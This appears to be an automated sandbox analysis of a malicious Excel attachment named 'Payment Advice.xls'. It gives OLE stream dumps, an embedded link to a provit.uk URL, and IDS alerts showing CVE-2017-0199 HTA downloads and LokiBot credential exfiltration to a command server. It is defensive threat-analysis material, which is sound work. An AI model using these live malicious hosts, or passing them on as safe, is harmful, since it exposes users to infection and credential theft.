SSDEEP:	24576:auq9PLiijE2Z5Z2amwshXCdQtF84LJQohL7m90Ns4Ql1xzRjpCrHac:auEPLiij7Z5ZKwsAsFjLJQohm90Clvzu
TLSH:	89352355F985EF06D69BA9320CA3D8F22408BC83BF69A2422730779F647D1F81F47195
File Content Preview:	........................>.......................................................................................................i.......k.......m..............................................................................................................

File Icon


Icon Hash:	276ea3a6a6b7bfbf

Static OLE Info

General

Document Type:	OLE
Number of OLE Files:	1

OLE File "Payment Advice.xls"

Indicators

Has Summary Info:
Application Name:	Microsoft Excel
Encrypted Document:	True
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	True
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	True

Summary

Code Page:	1252
Author:
Last Saved By:
Create Time:	2006-09-16 00:00:00
Last Saved Time:	2024-11-20 01:29:52
Creating Application:	Microsoft Excel
Security:	1

Document Summary

Document Code Page:	1252
Thumbnail Scaling Desired:	False
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	786432

Streams with VBA

VBA File Name: Sheet1.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet1
VBA File Name:	Sheet1.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . w I m . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . -
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 77 49 6d 84 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: Sheet2.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet2
VBA File Name:	Sheet2.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . w I 7 . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . -
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 77 49 37 ef 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: Sheet3.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet3
VBA File Name:	Sheet3.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . w I . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . - .
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 77 49 e2 95 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: ThisWorkbook.cls, Stream Size: 985

General
Stream Path:	_VBA_PROJECT_CUR/VBA/ThisWorkbook
VBA File Name:	ThisWorkbook.cls
Stream Size:	985
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . w I K K . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 1 . 9 .
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 77 49 4b 4b 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Streams

Stream Path: \x1CompObj, File Type: data, Stream Size: 114

General
Stream Path:	\x1CompObj
CLSID:
File Type:	data
Stream Size:	114
Entropy:	4.25248375192737
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . F & . . . M i c r o s o f t O f f i c e E x c e l 2 0 0 3 W o r k s h e e t . . . . . B i f f 8 . . . . . E x c e l . S h e e t . 8 . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 26 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 32 30 30 33 20 57 6f 72 6b 73 68 65 65 74 00 06 00 00 00 42 69 66 66 38 00 0e 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 244

General
Stream Path:	\x5DocumentSummaryInformation
CLSID:
File Type:	data
Stream Size:	244
Entropy:	2.889430592781307
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . . . . . . . . . . . . H . . . . . . . P . . . . . . . X . . . . . . . ` . . . . . . . h . . . . . . . p . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . S h e e t 1 . . . . . S h e e t 2 . . . . . S h e e t 3 . . . . . . . . . . . . . . . . . W o r k s h e e t s . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 c4 00 00 00 08 00 00 00 01 00 00 00 48 00 00 00 17 00 00 00 50 00 00 00 0b 00 00 00 58 00 00 00 10 00 00 00 60 00 00 00 13 00 00 00 68 00 00 00 16 00 00 00 70 00 00 00 0d 00 00 00 78 00 00 00 0c 00 00 00 a1 00 00 00 02 00 00 00 e4 04 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 200

General
Stream Path:	\x5SummaryInformation
CLSID:
File Type:	data
Stream Size:	200
Entropy:	3.2603503175049817
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . T . . . . . . . ` . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . \| . # . @ . . . . B : . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 98 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 54 00 00 00 12 00 00 00 60 00 00 00 0c 00 00 00 78 00 00 00 0d 00 00 00 84 00 00 00 13 00 00 00 90 00 00 00 02 00 00 00 e4 04 00 00 1e 00 00 00 04 00 00 00

Stream Path: MBD001C4526/\x1CompObj, File Type: data, Stream Size: 99

General
Stream Path:	MBD001C4526/\x1CompObj
CLSID:
File Type:	data
Stream Size:	99
Entropy:	3.631242196770981
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . ! . . . M i c r o s o f t O f f i c e E x c e l W o r k s h e e t . . . . . E x c e l M L 1 2 . . . . . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 57 6f 72 6b 73 68 65 65 74 00 0a 00 00 00 45 78 63 65 6c 4d 4c 31 32 00 00 00 00 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD001C4526/Package, File Type: Microsoft Excel 2007+, Stream Size: 781880

General
Stream Path:	MBD001C4526/Package
CLSID:
File Type:	Microsoft Excel 2007+
Stream Size:	781880
Entropy:	7.996310602391636
Base64 Encoded:	True
Data ASCII:	P K . . . . . . . . . . ! . j A 3 . . . . . . . . . [ C o n t e n t _ T y p e s ] . x m l . ( . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	50 4b 03 04 14 00 06 00 08 00 00 00 21 00 6a 41 33 c9 e9 01 00 00 fc 08 00 00 13 00 e1 01 5b 43 6f 6e 74 65 6e 74 5f 54 79 70 65 73 5d 2e 78 6d 6c 20 a2 dd 01 28 a0 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD001C4527/\x1Ole, File Type: data, Stream Size: 376

General
Stream Path:	MBD001C4527/\x1Ole
CLSID:
File Type:	data
Stream Size:	376
Entropy:	4.942740636887529
Base64 Encoded:	False
Data ASCII:	. . . . . g y M t H . . . . . . . . . . . . . . . . y . . . K . . . . h . t . t . p . s . : . / . / . p . r . o . v . i . t . . . u . k . / . C . x . d . O . H . 5 . ? . & . r . a . d . a . r . = . s . n . e . a . k . y . & . p . s . y . c . h . o . l . o . g . y . = . o . u . t . s . t . a . n . d . i . n . g . & . s . h . e . r . r . y . = . s . p . o . t . l . e . s . s . & . s . u . g . g . e . s . t . i . o . n . . . . . . . . \\ f . . V C . . T . = . o % % B . . d . [ M . . G t . . . . . ' u . . . . .
Data Raw:	01 00 00 02 e5 2e f9 67 79 4d 74 48 00 00 00 00 00 00 00 00 00 00 00 00 02 01 00 00 e0 c9 ea 79 f9 ba ce 11 8c 82 00 aa 00 4b a9 0b fe 00 00 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 70 00 72 00 6f 00 76 00 69 00 74 00 2e 00 75 00 6b 00 2f 00 43 00 78 00 64 00 4f 00 48 00 35 00 3f 00 26 00 72 00 61 00 64 00 61 00 72 00 3d 00 73 00 6e 00 65 00 61 00 6b 00 79 00 26 00 70 00

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 330975

General
Stream Path:	Workbook
CLSID:
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	330975
Entropy:	7.998619981607586
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . / . 6 . . . . . . . h 6 T . x ] y } . . + 3 . G . } x S 9 # . 9 i . . . . . . . . . . \\ . p . . ) < r T . 9 8 g . b 1 - : z f . 0 y ~ ; . . y W T . v = . % : * . . ~ . . K Y ] n . . I . 6 p . . . D . . y L W ' P . ] m Q B . . . a a . . . , F . . . = . . . V . . . . . Z s : ? 1 . * e f . . . D . . . . . . . . Y X . . . . 9 . . . y m . . . k = . . . V [ . . 2 * . , . B @ . . . . 6 . . . U g " . . . b . . . . . . . . . ( . . . 1 . . . . . g Z ? { . . . [ " E n ; . 1 . .
Data Raw:	09 08 10 00 00 06 05 00 ab 1f cd 07 c1 00 01 00 06 04 00 00 2f 00 36 00 01 00 01 00 01 00 68 36 54 c8 a3 78 b5 8b d3 5d c1 ad ad c7 79 fe 7d 18 b7 a8 13 c5 f2 2b a0 ed 20 33 0a 89 a9 91 47 0e 9e 7d 80 ad 78 53 39 a4 e5 23 12 39 69 dd e1 00 02 00 b0 04 c1 00 02 00 a0 f6 e2 00 00 00 5c 00 70 00 ba a2 17 fc ad 29 e1 3c 72 54 0f ff 39 38 a6 c7 67 07 e6 d6 df 62 a5 a4 c2 31 a8 2d e5 3a

Stream Path: _VBA_PROJECT_CUR/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 521

General
Stream Path:	_VBA_PROJECT_CUR/PROJECT
CLSID:
File Type:	ASCII text, with CRLF line terminators
Stream Size:	521
Entropy:	5.239208668467886
Base64 Encoded:	True
Data ASCII:	I D = " { 3 B 2 B 0 5 4 3 - D 6 0 8 - 4 9 F 8 - B 6 C 9 - 3 3 3 E 2 A C 0 9 1 D 7 } " . . D o c u m e n t = T h i s W o r k b o o k / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 1 / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 2 / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 3 / & H 0 0 0 0 0 0 0 0 . . N a m e = " V B A P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " 4 1 4 3 8 A 0 A 8 E 0 A 8 E 0 A 8
Data Raw:	49 44 3d 22 7b 33 42 32 42 30 35 34 33 2d 44 36 30 38 2d 34 39 46 38 2d 42 36 43 39 2d 33 33 33 45 32 41 43 30 39 31 44 37 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 57 6f 72 6b 62 6f 6f 6b 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 31 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 32 2f 26 48 30 30 30

Stream Path: _VBA_PROJECT_CUR/PROJECTwm, File Type: data, Stream Size: 104

General
Stream Path:	_VBA_PROJECT_CUR/PROJECTwm
CLSID:
File Type:	data
Stream Size:	104
Entropy:	3.0488640812019017
Base64 Encoded:	False
Data ASCII:	T h i s W o r k b o o k . T . h . i . s . W . o . r . k . b . o . o . k . . . S h e e t 1 . S . h . e . e . t . 1 . . . S h e e t 2 . S . h . e . e . t . 2 . . . S h e e t 3 . S . h . e . e . t . 3 . . . . .
Data Raw:	54 68 69 73 57 6f 72 6b 62 6f 6f 6b 00 54 00 68 00 69 00 73 00 57 00 6f 00 72 00 6b 00 62 00 6f 00 6f 00 6b 00 00 00 53 68 65 65 74 31 00 53 00 68 00 65 00 65 00 74 00 31 00 00 00 53 68 65 65 74 32 00 53 00 68 00 65 00 65 00 74 00 32 00 00 00 53 68 65 65 74 33 00 53 00 68 00 65 00 65 00 74 00 33 00 00 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/_VBA_PROJECT, File Type: data, Stream Size: 2644

General
Stream Path:	_VBA_PROJECT_CUR/VBA/_VBA_PROJECT
CLSID:
File Type:	data
Stream Size:	2644
Entropy:	3.981744704608686
Base64 Encoded:	False
Data ASCII:	a . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 0 . # . 9 . # . C . : . \\ . P . R . O . G . R . A . ~ . 2 . \\ . C . O . M . M . O . N . ~ . 1 . \\ . M . I . C . R . O . S . ~ . 1 . \\ . V . B . A . \\ . V . B . A . 6 . \\ . V . B . E . 6 . . . D . L . L . # . V . i . s . u . a . l . . B . a . s . i . c . . F . o . r .
Data Raw:	cc 61 88 00 00 01 00 ff 09 40 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00 04 00 02 00 fa 00 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 30 00 23 00

Stream Path: _VBA_PROJECT_CUR/VBA/dir, File Type: data, Stream Size: 553

General
Stream Path:	_VBA_PROJECT_CUR/VBA/dir
CLSID:
File Type:	data
Stream Size:	553
Entropy:	6.3652621927289355
Base64 Encoded:	True
Data ASCII:	. % . . . . . . . . 0 * . . . . p . . H . . . . d . . . . . . . V B A P r o j e c t . . 4 . . @ . . j . . . = . . . . r . . . . . . . . . . O i . . . . J < . . . . . r s t d o l e > . . . s . t . d . o . l . e . . . h . % . ^ . . * \\ G { 0 0 0 2 0 4 3 0 - . . . . . C . . . . . . 0 0 4 . 6 } # 2 . 0 # 0 . # C : \\ W i n d . o w s \\ S y s W O W 6 4 \\ . e 2 . . t l b # O L E . A u t o m a t i . o n . ` . . E O f f D i c E O . f . i . c E . . E . 2 D F 8 D 0 4 C . - 5 B F A - 1 0 1 B - B D E 5 E A A C 4 . 2
Data Raw:	01 25 b2 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4 04 04 00 0a 00 1c 00 56 42 41 50 72 6f 6a 65 88 63 74 05 00 34 00 00 40 02 14 6a 06 02 0a 3d 02 0a 07 02 72 01 14 08 05 06 12 09 02 12 c9 83 4f 69 08 94 00 0c 02 4a 3c 02 0a 16 00 01 72 80 73 74 64 6f 6c 65 3e 02 19 00 73 00 74 00 64 00 6f 00 80 6c 00 65 00 0d 00 68 00 25 02 5e 00 03 2a 5c 47

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-20T07:56:32.963004+0100	2024449	ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl	1	192.168.2.22	49164	192.3.243.136	80	TCP
2024-11-20T07:56:32.963009+0100	2024197	ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199)	1	192.3.243.136	80	192.168.2.22	49164	TCP
2024-11-20T07:56:35.880012+0100	2024449	ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl	1	192.168.2.22	49166	192.3.243.136	80	TCP
2024-11-20T07:56:35.880037+0100	2024197	ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199)	1	192.3.243.136	80	192.168.2.22	49166	TCP
2024-11-20T07:56:57.248279+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49168	94.156.177.41	80	TCP
2024-11-20T07:56:57.248279+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49168	94.156.177.41	80	TCP
2024-11-20T07:56:57.248279+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49168	94.156.177.41	80	TCP
2024-11-20T07:56:57.988472+0100	2024312	ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1	1	192.168.2.22	49168	94.156.177.41	80	TCP
2024-11-20T07:56:59.162067+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49169	94.156.177.41	80	TCP
2024-11-20T07:56:59.162067+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49169	94.156.177.41	80	TCP
2024-11-20T07:56:59.162067+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49169	94.156.177.41	80	TCP
2024-11-20T07:56:59.882200+0100	2024312	ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1	1	192.168.2.22	49169	94.156.177.41	80	TCP
2024-11-20T07:57:00.038068+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49170	94.156.177.41	80	TCP
2024-11-20T07:57:00.038068+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49170	94.156.177.41	80	TCP
2024-11-20T07:57:00.038068+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49170	94.156.177.41	80	TCP
2024-11-20T07:57:00.796820+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49170	94.156.177.41	80	TCP
2024-11-20T07:57:00.796820+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49170	94.156.177.41	80	TCP
2024-11-20T07:57:00.801702+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49170	TCP
2024-11-20T07:57:00.985981+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49171	94.156.177.41	80	TCP
2024-11-20T07:57:00.985981+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49171	94.156.177.41	80	TCP
2024-11-20T07:57:00.985981+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49171	94.156.177.41	80	TCP
2024-11-20T07:57:01.712250+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49171	94.156.177.41	80	TCP
2024-11-20T07:57:01.712250+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49171	94.156.177.41	80	TCP
2024-11-20T07:57:01.717775+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49171	TCP
2024-11-20T07:57:01.990103+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49172	94.156.177.41	80	TCP
2024-11-20T07:57:01.990103+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49172	94.156.177.41	80	TCP
2024-11-20T07:57:01.990103+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49172	94.156.177.41	80	TCP
2024-11-20T07:57:02.731919+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49172	94.156.177.41	80	TCP
2024-11-20T07:57:02.731919+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49172	94.156.177.41	80	TCP
2024-11-20T07:57:02.767336+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49172	TCP
2024-11-20T07:57:03.028263+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49173	94.156.177.41	80	TCP
2024-11-20T07:57:03.028263+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49173	94.156.177.41	80	TCP
2024-11-20T07:57:03.028263+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49173	94.156.177.41	80	TCP
2024-11-20T07:57:03.741633+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49173	94.156.177.41	80	TCP
2024-11-20T07:57:03.741633+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49173	94.156.177.41	80	TCP
2024-11-20T07:57:03.841307+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49173	TCP
2024-11-20T07:57:04.458084+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49174	94.156.177.41	80	TCP
2024-11-20T07:57:04.458084+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49174	94.156.177.41	80	TCP
2024-11-20T07:57:04.458084+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49174	94.156.177.41	80	TCP
2024-11-20T07:57:05.310719+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49174	94.156.177.41	80	TCP
2024-11-20T07:57:05.310719+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49174	94.156.177.41	80	TCP
2024-11-20T07:57:05.315581+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49174	TCP
2024-11-20T07:57:05.513581+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49176	94.156.177.41	80	TCP
2024-11-20T07:57:05.513581+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49176	94.156.177.41	80	TCP
2024-11-20T07:57:05.513581+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49176	94.156.177.41	80	TCP
2024-11-20T07:57:06.374526+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49176	94.156.177.41	80	TCP
2024-11-20T07:57:06.374526+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49176	94.156.177.41	80	TCP
2024-11-20T07:57:06.379522+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49176	TCP
2024-11-20T07:57:07.053237+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49177	94.156.177.41	80	TCP
2024-11-20T07:57:07.053237+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49177	94.156.177.41	80	TCP
2024-11-20T07:57:07.053237+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49177	94.156.177.41	80	TCP
2024-11-20T07:57:07.917653+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49177	94.156.177.41	80	TCP
2024-11-20T07:57:07.917653+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49177	94.156.177.41	80	TCP
2024-11-20T07:57:07.939075+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49177	TCP
2024-11-20T07:57:08.400152+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49178	94.156.177.41	80	TCP
